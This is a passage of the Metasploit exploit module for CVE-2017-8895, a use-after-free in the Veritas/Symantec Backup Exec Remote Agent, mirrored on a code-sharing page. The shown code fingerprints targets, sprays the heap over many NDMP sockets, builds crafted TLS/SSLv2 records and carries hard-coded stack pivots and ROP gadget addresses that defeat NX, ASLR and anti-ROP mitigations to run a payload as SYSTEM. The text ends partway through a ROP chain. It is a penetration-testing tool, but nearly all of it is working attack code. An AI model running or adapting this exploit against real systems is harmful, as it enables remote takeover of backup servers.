Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/backupexec/ssl_uaf.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'openssl'
7
require 'xdr'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = NormalRanking
11
12
include Msf::Exploit::Remote::Tcp
13
include Msf::Exploit::Remote::NDMPSocket
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free',
20
'Description' => %q{
21
This module exploits a use-after-free vulnerability in the handling of SSL NDMP
22
connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL
23
is re-established on a NDMP connection that previously has had SSL established,
24
the BIO struct for the connection's previous SSL session is reused, even though it
25
has previously been freed.
26
27
This module supports 3 specific versions of the Backup Exec agent in the 14, 15
28
and 16 series on 64-bit and 32-bit versions of Windows and has been tested from
29
Vista to Windows 10. The check command can help narrow down what major and minor
30
revision is installed and the precise of version of Windows, but some other
31
information may be required to make a reliable choice of target.
32
33
NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a
34
reliability of around 85%. On other versions of Windows, reliability is around 35%
35
(due to the need to win a race condition across the network in this case; this may
36
drop further depending on network conditions). The agent is normally installed on
37
all hosts in a domain that need to be backed up, so if one service crashes, try
38
again on another :) Successful exploitation will give remote code execution as the
39
user of the Backup Exec Remote Agent for Windows service, almost always
40
NT AUTHORITY\SYSTEM.
41
},
42
'License' => MSF_LICENSE,
43
'Author' => [ 'Matthew Daley' ],
44
'References' => [
45
[ 'CVE', '2017-8895' ],
46
[ 'VTS', '17-006' ],
47
[ 'URL', 'http://web.archive.org/web/20181112174302/https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ]
48
],
49
'Platform' => 'win',
50
'Stance' => Msf::Exploit::Stance::Aggressive,
51
'Payload' => {
52
'DisableNops' => true
53
},
54
'Targets' => [
55
[
56
'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64',
57
{ 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
58
],
59
[
60
'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86',
61
{ 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
62
],
63
[
64
'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64',
65
{ 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
66
],
67
[
68
'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86',
69
{ 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
70
],
71
[
72
'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64',
73
{ 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
74
],
75
[
76
'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86',
77
{ 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
78
],
79
[
80
'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64',
81
{ 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
82
],
83
[
84
'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86',
85
{ 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
86
],
87
[
88
'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64',
89
{ 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
90
],
91
[
92
'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86',
93
{ 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
94
],
95
[
96
'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64',
97
{ 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
98
],
99
[
100
'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86',
101
{ 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
102
]
103
],
104
'DefaultOptions' => {
105
'RPORT' => 10000,
106
'NumTriggerAttempts' => 50,
107
'EXITFUNC' => 'thread'
108
},
109
'Privileged' => true,
110
'DisclosureDate' => '2017-05-10',
111
'DefaultTarget' => 8,
112
'Notes' => {
113
'Reliability' => UNKNOWN_RELIABILITY,
114
'Stability' => UNKNOWN_STABILITY,
115
'SideEffects' => UNKNOWN_SIDE_EFFECTS
116
}
117
)
118
)
119
120
register_options([
121
OptInt.new('NumSpraySockets', [ false, 'Number of sockets to spray stage 1 with' ]),
122
OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]),
123
OptInt.new('NumTriggerAttempts', [ true, 'Number of attempts to trigger the vulnerability (Windows 8+ only)' ])
124
])
125
end
126
127
def check
128
s = NDMP::Socket.new(connect)
129
return CheckCode::Unknown unless connect_ndmp(s, 2)
130
131
resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO))
132
return CheckCode::Unknown unless resp
133
134
info = HostInfoResponse.from_xdr(resp.body)
135
print_line('Hostname: ' + info.hostname)
136
print_line('OS type: ' + info.os_type)
137
print_line('OS version: ' + info.os_version)
138
print_line('Host ID: ' + info.host_id)
139
140
disconnect
141
s = NDMP::Socket.new(connect)
142
return CheckCode::Unknown unless connect_ndmp(s, 3)
143
144
resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO))
145
return CheckCode::Unknown unless resp
146
147
info = ServiceInfoResponse.from_xdr(resp.body)
148
print_line('Vendor: ' + info.vendor_name)
149
print_line('Product: ' + info.product_name)
150
print_line('Revision: ' + info.revision_number)
151
152
ver = info.revision_number.split('.')
153
if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2)
154
CheckCode::Appears
155
else
156
CheckCode::Detected
157
end
158
end
159
160
def exploit
161
print_status('Connecting sockets...')
162
163
# Connect a differing amount of sockets for stage 1 spraying depending on the target
164
spray_socks = connect_additional_sockets(
165
datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200),
166
target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3
167
)
168
169
# Likewise, connect a differing amount of sockets for TLS extension spraying depending
170
# on the target
171
num_tls_spray_socks = datastore['NumTLSSpraySockets'] || (
172
case target.opts['Version']
173
when 14
174
0
175
when 15
176
target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100
177
when 16
178
target.opts['Arch'] == ARCH_X64 ? 100 : 0
179
end
180
)
181
tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3)
182
183
s = NDMP::Socket.new(connect)
184
unless connect_ndmp(s, 3)
185
fail_with(Failure::UnexpectedReply, "Couldn't connect main socket")
186
end
187
188
ca_cert, ca_key = generate_ca_cert_and_key
189
ca_cert_id = get_cert_id(ca_cert)
190
print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")
191
192
print_status('Getting and handling a certificate signing request...')
193
agent_cert = handle_a_csr(s, ca_cert, ca_key)
194
fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil?
195
print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}")
196
197
if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15
198
# For certain target types, put the stage 1 spray sockets into SSL mode. We can use
199
# the newly made CA certificate and key as our client side certificate
200
ssl_context = OpenSSL::SSL::SSLContext.new
201
ssl_context.cert = ca_cert
202
ssl_context.key = ca_key
203
print_status('Entering spray sockets into SSL mode...')
204
(1..2).each do |phase|
205
spray_socks.each do |ss|
206
require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
207
require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
208
ss.wrap_with_ssl(ssl_context) if phase == 2
209
end
210
end
211
end
212
213
print_status('Testing certificate...')
214
require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id)
215
216
# For some targets, split the spraying of TLS extensions around entering SSL on the
217
# main socket
218
tls_cutoff = tls_spray_socks.length
219
if target.opts['Win8Upwards']
220
if target.opts['Arch'] == ARCH_X86
221
tls_cutoff /= 2
222
end
223
else
224
tls_cutoff /= 10
225
end
226
spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id)
227
228
print_status('Entering SSL mode on main socket...')
229
require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)
230
231
spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id)
232
233
# Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other
234
# stages are contained in the SSL socket buffer at the time of the UAF. The record
235
# itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the
236
# record (depending on the amount of trigger attempts required; see attempt_triggers)
237
print_status('Sending stages 2 to 4...')
238
if target.opts['Arch'] == ARCH_X64
239
if target.opts['Version'] == 14
240
# x64, version 14. Use a TLS handshake record
241
#
242
# Windows 8+:
243
# Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8
244
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
245
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
246
# 0 | 16 | 03 | 01 | length | FILLER
247
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
248
# 10 | ret 3
249
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
250
# 20 | ret | FILLER |
251
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
252
# 30 | retsled (0x10 aligned length)... |
253
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
254
# .. | stages 2-4...
255
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
256
#
257
# Otherwise:
258
# Stage 1 jumps to 0x18
259
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
260
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
261
# 0 | 16 | 03 | 01 | length | FILLER
262
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
263
# 10 | ret |
264
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
265
# 20 | stages 2-4...
266
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
267
268
ret = [0xbe6c897].pack('Q<')
269
if target.opts['Win8Upwards']
270
ret_3 = [0xbe2829b].pack('Q<')
271
payload = rand_text(24) + ret_3 + ret + rand_text(3) +
272
ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max
273
else
274
payload = rand_text(19) + ret
275
end
276
payload << generate_stages_2_to_4
277
278
stage_tls = generate_tls_handshake_record(payload)
279
else
280
# x64, version 15/16. Use a SSLv2 hqndshake record
281
# Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8
282
# Otherwise: Stage 1 jumps to 0x18
283
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
284
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
285
# 0 | length | 01 | 03 | FILLER
286
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
287
# 10 | pop x3; ret |
288
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
289
# 20 | FILLER | ret 5 | ret
290
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
291
# 30 | FILLER | retsled (0x8 aligned length)... |
292
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
293
# 40 | stages 2 - 4...
294
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
295
296
pop_x3 = [0xbe1d920].pack('Q<')
297
ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<')
298
ret = [0xbe6c897].pack('Q<')
299
payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) +
300
ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max +
301
generate_stages_2_to_4
302
303
stage_tls = generate_tls_in_sslv2_clienthello(payload)
304
end
305
else
306
if target.opts['Version'] == 14
307
# x86, version 14. Use a TLS handshake record
308
# Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4
309
# Otherwise: Stage 1 jumps to 0x4
310
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
311
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
312
# 0 | 16 | 03 | 01 | ln | pop x3; ret | FL | ret 3 | ret
313
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
314
# 10 | FILLER | retsled... | stages 2 to 4...
315
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
316
317
pop_x3 = [0x6311f901].pack('L<')
318
ret_3 = [0x6312164a].pack('L<')
319
ret = [0x63101514].pack('L<')
320
payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) +
321
ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4)
322
323
stage_tls = generate_tls_handshake_record(payload, pop_x3[0])
324
else
325
# x86, version 15/16. Use a SSLv2 hqndshake record
326
# Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4
327
# Otherwise: Stage 1 jumps to 0x4
328
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
329
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
330
# 0 | length | 01 | 03 | add esp, 0xc; ret | FILLER | inc esp; ret
331
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
332
# 10 | FL | retsled... | stages 2 to 4...
333
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
334
335
add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<')
336
inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<')
337
ret = [0x63101564].pack('L<')
338
payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char +
339
ret * [0, datastore['NumTriggerAttempts'] - 3].max +
340
generate_stages_2_to_4
341
342
stage_tls = generate_tls_in_sslv2_clienthello(payload)
343
end
344
end
345
s.raw_sendall(stage_tls, 0)
346
if target.opts['Version'] == 14
347
resp = s.raw_recv(5)
348
fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty?
349
s.raw_recv(resp[3...5].unpack('n')[0])
350
end
351
352
print_status('Closing TLS spray sockets...')
353
tls_spray_socks.reverse! unless target.opts['Win8Upwards']
354
tls_spray_socks.each do |ts|
355
ts.close
356
sleep(0.1)
357
end
358
sleep(1)
359
360
# Spray stage 1 in the string payloads of selected NDMP packet types
361
if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64
362
spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1])
363
spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR
364
else
365
spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2
366
spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH
367
end
368
spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload)
369
370
# We need to be able to detect as soon as a connection is made to the payload in order
371
# to stop spraying/trigger attempts ASAP
372
@payload_connected = false
373
if payload_instance.respond_to?(:handle_connection)
374
old_handle_connect = payload_instance.method(:handle_connection)
375
payload_instance.define_singleton_method(:handle_connection) do |*args|
376
@payload_connected = true
377
old_handle_connect.call(*args)
378
end
379
end
380
381
if target.opts['Win8Upwards']
382
# After this SSL request, the BIO struct is freed but still referred to in the new
383
# SSL context
384
print_status('Re-entering SSL mode on main socket...')
385
require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)
386
387
# Attempt to overwrite the BIO struct with stage 1 and trigger the UAF
388
attempt_triggers(s, spray_socks, spray_msg)
389
else
390
# Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race
391
attempt_race(s, spray_socks, spray_msg, ca_cert_id)
392
end
393
394
handler
395
end
396
397
private
398
399
SSL_HANDSHAKE_REQUEST = 0xf383
400
401
class SSLRequest < XDR::Struct
402
class Opcode < XDR::Enum
403
member :test_cert, 1
404
member :get_csr_req, 2
405
member :give_signed_cert, 3
406
member :start_ssl, 4
407
seal
408
end
409
410
attribute :opcode, Opcode
411
attribute :media_server_name, XDR::String[]
412
attribute :media_server_fqdn, XDR::String[]
413
attribute :media_server_addr, XDR::String[]
414
attribute :cert_id_1, XDR::Int
415
attribute :cert_id_2, XDR::Int
416
attribute :unknown1, XDR::Int
417
attribute :unknown2, XDR::Int
418
attribute :unknown3, XDR::Int
419
attribute :ca_cert, XDR::String[]
420
attribute :unknown4, XDR::Int
421
attribute :agent_cert, XDR::String[]
422
423
def self.new_for_opcode(opcode)
424
new(
425
:opcode => opcode,
426
:media_server_name => 'foo',
427
:media_server_fqdn => 'foo',
428
:media_server_addr => 'foo',
429
:cert_id_1 => 0,
430
:cert_id_2 => 0,
431
:unknown1 => 0,
432
:unknown2 => 0,
433
:unknown3 => 0,
434
:ca_cert => '',
435
:unknown4 => 0,
436
:agent_cert => ''
437
)
438
end
439
end
440
441
class SSLResponse < XDR::Struct
442
attribute :unknown1, XDR::Int
443
attribute :unknown2, XDR::String[]
444
attribute :unknown3, XDR::Int
445
attribute :unknown4, XDR::String[]
446
447
def empty?
448
(attributes[:unknown1].zero? && attributes[:unknown2].empty? &&
449
attributes[:unknown3].zero? && attributes[:unknown4].empty?)
450
end
451
end
452
453
class ServiceInfoResponse < XDR::Struct
454
attribute :error, XDR::Int
455
attribute :vendor_name, XDR::String[]
456
attribute :product_name, XDR::String[]
457
attribute :revision_number, XDR::String[]
458
attribute :auth_types, XDR::VarArray[XDR::Int]
459
end
460
461
class HostInfoResponse < XDR::Struct
462
attribute :error, XDR::Int
463
attribute :hostname, XDR::String[]
464
attribute :os_type, XDR::String[]
465
attribute :os_version, XDR::String[]
466
attribute :host_id, XDR::String[]
467
attribute :unknown, XDR::VarArray[XDR::Int]
468
end
469
470
#
471
# Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages.
472
#
473
def connect_ndmp(s, version, phase = nil)
474
if phase.nil? || phase == 1
475
return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
476
end
477
478
if phase.nil? || phase == 2
479
return false unless s.prepare_and_write_ndmp_msg(
480
NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version))
481
)
482
end
483
484
if phase.nil? || phase == 3
485
msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)
486
return false unless msg
487
488
fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?
489
end
490
491
true
492
end
493
494
#
495
# Connect multiple NDMP sockets of a given version. Parallelizes over connection phases.
496
#
497
def connect_additional_sockets(num_socks, version)
498
socks = (0...num_socks).map do
499
NDMP::Socket.new(connect(false))
500
end
501
502
(1..3).each do |phase|
503
socks.each do |ss|
504
unless connect_ndmp(ss, version, phase)
505
fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")
506
end
507
end
508
end
509
510
socks
511
end
512
513
#
514
# Send a Backup Exec-specific SSL NDMP request and receive the response.
515
#
516
def do_simple_ssl_request(s, opcode, ca_cert_id, phase = nil)
517
if phase.nil? || phase == 1
518
req = SSLRequest.new_for_opcode(opcode)
519
req.cert_id_1 = req.cert_id_2 = ca_cert_id
520
msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)
521
522
if block_given?
523
last = s.prepare_and_write_ndmp_msg(msg, true)
524
return nil unless last
525
526
sleep(1)
527
yield true
528
s.raw_sendall(last, 0)
529
yield false
530
else
531
return nil unless s.prepare_and_write_ndmp_msg(msg)
532
end
533
end
534
535
if phase.nil? || phase == 2
536
msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST)
537
return msg ? SSLResponse.from_xdr(msg.body) : nil
538
end
539
540
nil
541
end
542
543
#
544
# Send a Backup Exec SSL NDMP request and receive the response, requiring the response
545
# to be empty.
546
#
547
def require_empty_ssl_request(s, opcode, ca_cert_id, phase = nil)
548
resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
549
if phase.nil? || phase == 2
550
fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
551
fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
552
end
553
end
554
555
#
556
# Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes
557
# of the SHA-1 of the issuer and the raw serial number.
558
#
559
def get_cert_id(cert)
560
Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0]
561
end
562
563
#
564
# Create a self-signed CA certificate and matching key.
565
#
566
def generate_ca_cert_and_key(key_len = 2048)
567
ca_key = OpenSSL::PKey::RSA.new(key_len)
568
569
ca_cert = OpenSSL::X509::Certificate.new
570
ca_cert.version = 3
571
ca_cert.serial = 1
572
ca_cert.subject = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF')
573
ca_cert.not_before = Time.now - 60 * 60 * 24
574
ca_cert.not_after = Time.now + 60 * 60 * 24 * 365
575
ca_cert.public_key = ca_key.public_key
576
577
extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert)
578
ca_cert.extensions = [
579
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
580
extn_factory.create_extension('basicConstraints', 'critical,CA:true')
581
]
582
# Have to do this after creating subjectKeyIdentifier extension
583
ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
584
585
ca_cert.sign(ca_key, OpenSSL::Digest.new('SHA256'))
586
587
[ca_cert, ca_key]
588
end
589
590
#
591
# Get and handle a certificate signing request from Backup Exec with the given CA
592
# certificate and key.
593
#
594
def handle_a_csr(s, ca_cert, ca_key)
595
resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0)
596
return nil if resp.nil?
597
598
request = OpenSSL::X509::Request.new(resp.unknown2)
599
600
agent_cert = OpenSSL::X509::Certificate.new
601
agent_cert.version = 3
602
agent_cert.serial = 2
603
agent_cert.subject = request.subject
604
agent_cert.issuer = ca_cert.subject
605
agent_cert.not_before = Time.now - 60 * 60 * 24
606
agent_cert.not_after = Time.now + 60 * 60 * 24 * 365
607
agent_cert.public_key = request.public_key
608
609
extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert)
610
agent_cert.extensions = [
611
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
612
extn_factory.create_extension('basicConstraints', 'critical,CA:false')
613
]
614
# Have to do this after creating subjectKeyIdentifier extension
615
agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
616
617
agent_cert.sign(ca_key, OpenSSL::Digest.new('SHA256'))
618
619
req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert)
620
req.ca_cert = ca_cert.to_s
621
req.agent_cert = agent_cert.to_s
622
return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr))
623
624
agent_cert
625
end
626
627
#
628
# Generate a TLS handshake record with the given payload.
629
#
630
def generate_tls_handshake_record(payload, required_fifth_byte = nil)
631
fail_with(Failure::Unknown, 'No payload') if payload.empty?
632
633
# Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset
634
# 0x4) instead of in non-header data; here it's necessary to control the 5th byte of
635
# the header, which is the second byte of the length word
636
unless required_fifth_byte.nil?
637
payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100)
638
end
639
"\x16\x03\x01" + [payload.length].pack('n') + payload
640
end
641
642
#
643
# Generate a TLS ClientHello record with the given Random and extensions (ie. for
644
# holding stages 2-4).
645
#
646
def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
647
if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
648
fail_with(Failure::Unknown, 'No TLS extension payloads given')
649
end
650
if ec_formats_extn_payload.length > 0xff
651
fail_with(Failure::Unknown, 'Bad EC formats extension length')
652
end
653
if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
654
fail_with(Failure::Unknown, 'Bad curves extension length')
655
end
656
if random.length != 0x20
657
fail_with(Failure::Unknown, 'Bad random length')
658
end
659
660
extns = ''
661
unless curves_extn_payload.empty?
662
extns << [
663
10,
664
curves_extn_payload.length + 2,
665
curves_extn_payload.length
666
].pack('n*') + curves_extn_payload
667
end
668
unless ec_formats_extn_payload.empty?
669
extns << [
670
11,
671
ec_formats_extn_payload.length + 1,
672
ec_formats_extn_payload.length
673
].pack('nnC') + ec_formats_extn_payload
674
end
675
676
r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00"
677
r << [extns.length].pack('n') + extns
678
679
r = "\x01" + [r.length].pack('N')[1...4] + r
680
681
generate_tls_handshake_record(r)
682
end
683
684
#
685
# Generate a TLS ClientHello record in a SSLv2 record with a given payload.
686
#
687
def generate_tls_in_sslv2_clienthello(payload)
688
fail_with(Failure::Unknown, 'No payload') if payload.empty?
689
fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1
690
691
r = "\x01\x03" + payload
692
[r.length | 0x8000].pack('n') + r
693
end
694
695
#
696
# Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui.
697
#
698
def spray_tls_extensions(tls_spray_socks, ca_cert_id)
699
payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40
700
spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20))
701
702
print_status('Spraying TLS extensions...')
703
(1..2).each do |phase|
704
tls_spray_socks.each do |ts|
705
require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
706
require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
707
708
if phase == 2
709
ts.raw_sendall(spray, 0)
710
sleep(0.1)
711
end
712
end
713
end
714
sleep(1)
715
end
716
717
#
718
# Generate stage 1.
719
#
720
# This stage is what overwrites the freed BIO struct. It consists of a non-zero readable
721
# location (to prevent Backup Exec from falling over or failing) and a stack pivot to
722
# some offset from the current SSL socket buffer read location, which will hold a
723
# TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot
724
# offset will be different at each UAF trigger attempt; see attempt_triggers).
725
#
726
def generate_stage_1
727
if target.opts['Arch'] == ARCH_X64
728
stage_1 = [
729
# +0x18 from here is a non-zero, readable location. This is the load address of
730
# becrypto.dll (which is non-ASLR)
731
0xbe00000,
732
# On x64, we pivot into the current SSL socket buffer read location + 0x18
733
# lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret
734
[0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14]
735
].pack('Q<*')
736
else
737
stage_1 = [
738
# +0x18 from here is a non-zero, readable location. This is the load address of
739
# becrypto.dll (which is non-ASLR)
740
0x63100000,
741
# On x86, we pivot into the current SSL socket buffer read location + 0x4
742
# mov esp, ebp; pop ebp; ret
743
target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d
744
].pack('L<*')
745
end
746
stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length)
747
end
748
749
#
750
# Generate stages 2 to 4.
751
#
752
# Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted
753
# to) onto the stack, bypassing Windows 8+'s check before certain functions (like
754
# VirtualProtect) that we have called them from within expected stack memory instead of
755
# the heap.
756
#
757
# Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable
758
# (but we only really need stage 4 executable anyway).
759
#
760
# Stage 4 is the user-selected Metasploit payload code.
761
#
762
def generate_stages_2_to_4
763
stage_4 = payload.encoded
764
765
if target.opts['Arch'] == ARCH_X64
766
if target.opts['Version'] == 14
767
stage_3 = [
768
0, # skipped by stage 2
769
0xbe31359, # push rax; pop rsi; ret
770
0xbe01f72, # pop rax; ret
771
0,
772
0xbe3d250, # add rax, rcx; ret
773
0xbe1c2f9, # pop r12; ret
774
0xbe2ab32, # pop r8; ret
775
0xbe2987c, # mov rcx, rax; call r12
776
0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW]
777
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
778
0,
779
0,
780
0,
781
0,
782
0xbe37f75, # push rax; pop rdi; ret
783
0xbe43b25, # mov rcx, rsi; call r12
784
0xbe01f72, # pop rax; ret
785
0,
786
0xbe3d250, # add rax, rcx; ret
787
0xbe6949a, # push rax; pop r12; ret
788
0xbe4f7ec, # pop r14; pop r13; ret
789
0xbe2ab32, # pop r8; ret
790
0,
791
0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14
792
0xbe01f72, # pop rax; ret
793
0xbe2ab32, # pop r8; ret
794
0xbe36e8e, # mov rcx, rdi; call rax
795
0xbe01a29, # ret
796
0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub]
797
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
798
0,
799
0,
800
0,
801
0,
802
0xbe37f75, # push rax; pop rdi; ret
803
0xbe1c2f9, # pop r12; ret
804
